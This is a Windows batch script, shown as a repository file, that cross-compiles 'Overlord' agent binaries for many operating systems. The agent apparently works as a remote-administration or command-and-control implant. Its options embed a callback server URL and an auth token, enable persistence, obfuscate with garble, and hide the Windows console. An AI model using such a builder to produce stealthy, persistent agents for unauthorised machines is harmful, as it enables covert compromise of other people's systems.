Files
overlord/build-clients.bat
T

195 lines
5.6 KiB
Batchfile
Raw Normal View History

2026-03-05 00:04:26 -06:00
@echo off
setlocal
set ROOT=%~dp0
set CLIENT_DIR=%ROOT%Overlord-Client
set OUT_DIR=%ROOT%dist-clients
if not defined ENABLE_PERSISTENCE set ENABLE_PERSISTENCE=false
if not defined OBFUSCATE set OBFUSCATE=false
if not defined HIDE_CONSOLE set HIDE_CONSOLE=false
if not defined NO_PRINTING set NO_PRINTING=false
set "GARBLE_FLAGS="
REM Build LDFLAGS with all custom settings
set "LDFLAGS=-s -w"
set "BUILD_TAGS="
if "%NO_PRINTING%"=="true" (
echo Building with printing disabled
set "BUILD_TAGS=-tags noprint"
)
if "%ENABLE_PERSISTENCE%"=="true" (
echo Building with persistence enabled
set "LDFLAGS=%LDFLAGS% -X overlord-client/cmd/agent/config.DefaultPersistence=true"
)
if not "%SERVER_URL%"=="" (
echo Building with custom server URL: %SERVER_URL%
set "LDFLAGS=%LDFLAGS% -X overlord-client/cmd/agent/config.DefaultServerURL=%SERVER_URL%"
)
if not "%CLIENT_ID%"=="" (
echo Building with custom client ID: %CLIENT_ID%
set "LDFLAGS=%LDFLAGS% -X overlord-client/cmd/agent/config.DefaultID=%CLIENT_ID%"
)
if not "%CLIENT_COUNTRY%"=="" (
echo Building with custom country: %CLIENT_COUNTRY%
set "LDFLAGS=%LDFLAGS% -X overlord-client/cmd/agent/config.DefaultCountry=%CLIENT_COUNTRY%"
)
if "%OVERLORD_AGENT_TOKEN%"=="" (
set "SAVE_JSON=%APPDATA%\Overlord\save.json"
if exist "%SAVE_JSON%" (
for /f "usebackq delims=" %%I in (`powershell -NoProfile -Command "$p='%SAVE_JSON%'; try { $j = Get-Content -Raw -LiteralPath $p | ConvertFrom-Json; $t = $j.auth.agentToken; if ($t) { [Console]::Write($t) } } catch {}"`) do set "OVERLORD_AGENT_TOKEN=%%I"
)
)
if not "%OVERLORD_AGENT_TOKEN%"=="" (
echo Embedding agent token from environment/save.json
set "LDFLAGS=%LDFLAGS% -X overlord-client/cmd/agent/config.DefaultAgentToken=%OVERLORD_AGENT_TOKEN%"
)
echo LDFLAGS: %LDFLAGS%
set "WIN_LDFLAGS="
if "%HIDE_CONSOLE%"=="true" (
echo Windows console hidden (GUI subsystem)
set "WIN_LDFLAGS=-H=windowsgui"
)
set "BUILD_CMD=go build"
if "%OBFUSCATE%"=="true" (
where garble >nul 2>&1
if errorlevel 1 (
echo garble not found. Install with: go install mvdan.cc/garble@latest
exit /b 1
)
echo Obfuscation enabled (garble)
set "BUILD_CMD=garble build %GARBLE_FLAGS%"
)
if not exist "%OUT_DIR%" mkdir "%OUT_DIR%"
pushd "%CLIENT_DIR%"
echo == Building agent for windows amd64 ==
set GOOS=windows
set GOARCH=amd64
set CGO_ENABLED=0
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS% %WIN_LDFLAGS%" -o "%OUT_DIR%\agent-windows-amd64.exe" ./cmd/agent
if errorlevel 1 goto :err
echo == Building agent for windows x86 ==
set GOOS=windows
set GOARCH=386
set CGO_ENABLED=0
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS% %WIN_LDFLAGS%" -o "%OUT_DIR%\agent-windows-386.exe" ./cmd/agent
if errorlevel 1 goto :err
echo == Building agent for windows arm64 ==
set GOOS=windows
set GOARCH=arm64
set CGO_ENABLED=0
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS% %WIN_LDFLAGS%" -o "%OUT_DIR%\agent-windows-arm64.exe" ./cmd/agent
if errorlevel 1 goto :err
echo == Building agent for linux amd64 ==
set GOOS=linux
set GOARCH=amd64
set CGO_ENABLED=0
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-linux-amd64" ./cmd/agent
if errorlevel 1 goto :err
echo == Building agent for linux arm64 ==
set GOOS=linux
set GOARCH=arm64
set CGO_ENABLED=0
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-linux-arm64" ./cmd/agent
if errorlevel 1 goto :err
echo == Building agent for linux arm (armv7) ==
set GOOS=linux
set GOARCH=arm
set GOARM=7
set CGO_ENABLED=0
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-linux-armv7" ./cmd/agent
if errorlevel 1 goto :err
echo == Building agent for darwin arm64 ==
set GOOS=darwin
set GOARCH=arm64
set CGO_ENABLED=0
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-darwin-arm64" ./cmd/agent
if errorlevel 1 goto :err
echo == Building agent for darwin amd64 ==
set GOOS=darwin
set GOARCH=amd64
set CGO_ENABLED=0
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-darwin-amd64" ./cmd/agent
if errorlevel 1 goto :err
echo == Building agent for freebsd amd64 ==
set GOOS=freebsd
set GOARCH=amd64
set CGO_ENABLED=0
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-freebsd-amd64" ./cmd/agent
if errorlevel 1 goto :err
echo == Building agent for freebsd arm64 ==
set GOOS=freebsd
set GOARCH=arm64
set CGO_ENABLED=0
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-freebsd-arm64" ./cmd/agent
if errorlevel 1 goto :err
2026-03-10 15:38:50 -05:00
echo == Building agent for android arm64 ==
set GOOS=android
set GOARCH=arm64
set CGO_ENABLED=0
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-android-arm64" ./cmd/agent
if errorlevel 1 goto :err
echo == Building agent for android amd64 ==
set GOOS=android
set GOARCH=amd64
set CGO_ENABLED=0
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-android-amd64" ./cmd/agent
if errorlevel 1 goto :err
echo == Building agent for android arm (armv7) ==
set GOOS=android
set GOARCH=arm
set GOARM=7
set CGO_ENABLED=0
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-android-armv7" ./cmd/agent
if errorlevel 1 goto :err
set GOARM=
echo == Building agent for openbsd amd64 ==
set GOOS=openbsd
set GOARCH=amd64
set CGO_ENABLED=0
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-openbsd-amd64" ./cmd/agent
if errorlevel 1 goto :err
echo == Building agent for openbsd arm64 ==
set GOOS=openbsd
set GOARCH=arm64
set CGO_ENABLED=0
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-openbsd-arm64" ./cmd/agent
if errorlevel 1 goto :err
2026-03-05 00:04:26 -06:00
echo Builds complete. Outputs in %OUT_DIR%
goto :eof
:err
echo Build failed. See errors above.
exit /b 1
:eof
popd
endlocal